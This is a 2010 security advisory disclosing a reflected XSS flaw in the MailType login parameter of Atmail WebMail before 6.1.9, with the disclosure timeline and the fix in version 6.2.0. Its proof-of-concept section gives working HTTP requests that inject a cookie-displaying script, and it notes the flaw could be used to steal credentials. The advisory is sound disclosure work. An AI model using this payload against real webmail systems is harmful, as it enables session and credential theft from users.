Atmail WebMail Cross Site Scripting

`=============================================  
INTERNET SECURITY AUDITORS ALERT 2010-009  
- Original release date: August 30th, 2010  
- Last revised: September 21st, 2010  
- Discovered by: Vicente Aguilera Diaz  
- Severity: 4.3/10 (CVSSv2 Base Scored)  
=============================================  
  
I. VULNERABILITY  
-------------------------  
Reflected XSS in the login process of the Atmail WebMail < v6.1.9  
  
II. BACKGROUND  
-------------------------  
Atmail allows users to access IMAP Mailboxes of any server of your  
choice. The software provides a comprehensive email-suite for  
accessing user mailboxes, and provides an inbuilt Calendar and  
Addressbook features. The WebMail Client of Atmail supports any  
existing IMAP server running under Unix/Linux or Windows systems.  
  
III. DESCRIPTION  
-------------------------  
Has been detected a reflected XSS vulnerability in the login process  
of the Atmail WebMail, that allows the execution of arbitrary  
HTML/script code to be executed in the context of the victim user's  
browser.  
  
The code injection is done through the "MailType" parameter, and can  
be exploited without a user account in the WebMail.  
  
Moreover, the login request may be made by the HTTP GET method (by  
default, HTTP POST method is used), so this facilitates the  
exploitation of the vulnerability.  
  
IV. PROOF OF CONCEPT  
-------------------------  
=== Original request:  
POST /index.php/mail/auth/processlogin HTTP/1.1  
Host: <atmail_host>  
...  
  
emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&email=<email>password=<password>&requestedServer=&MailType=IMAP  
  
=== Malicious request - Example 1:  
POST /index.php/mail/auth/processlogin HTTP/1.1  
Host: <atmail_host>  
...  
  
emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&email=<email>password=<password>&requestedServer=&MailType=<script>alert(document.cookie);</script>  
  
=== Malicious request - Example 2:  
GET  
/index.php/mail/auth/processlogin?emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&email=<email>password=<password>&requestedServer=&MailType=<script>alert(document.cookie);</script>  
HTTP/1.1  
  
V. BUSINESS IMPACT  
-------------------------  
An attacker can execute arbitrary HTML or script code in a targeted  
user's browser, this can leverage to steal sensitive information as  
user credentials, personal data, etc.  
  
VI. SYSTEMS AFFECTED  
-------------------------  
Tested in Atmail 6.1.9. Other versions may be affected too.  
  
VII. SOLUTION  
-------------------------  
Upgrade to version 6.2.0  
  
VIII. REFERENCES  
-------------------------  
http://www.atmail.com  
http://www.isecauditors.com  
  
IX. CREDITS  
-------------------------  
This vulnerability has been discovered  
by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).  
  
X. REVISION HISTORY  
-------------------------  
August 30, 2010: Initial release  
September 21, 2010: Last revision  
  
XI. DISCLOSURE TIMELINE  
-------------------------  
August 30, 2010: Discovered by Internet Security Auditors  
August 31, 2010: Atmail contacted including PoC.  
Response about the scheduled correction.  
September 2, 2010: Published version 6.2.0 that includes this patch.  
September 21, 2010: Advisory sent to public lists.  
  
XII. LEGAL NOTICES  
-------------------------  
The information contained within this advisory is supplied "as-is"  
with no warranties or guarantees of fitness of use or otherwise.  
Internet Security Auditors accepts no responsibility for any damage  
caused by the use or misuse of this information.  
  
XIII. ABOUT  
-------------------------  
Internet Security Auditors is a Spain based leader in web application  
testing, network security, penetration testing, security compliance  
implementation and assessing. Our clients include some of the largest  
companies in areas such as finance, telecommunications, insurance,  
ITC, etc. We are vendor independent provider with a deep expertise  
since 2001. Our efforts in R&D include vulnerability research, open  
security project collaboration and whitepapers, presentations and  
security events participation and promotion. For further information  
regarding our security services, contact us.  
`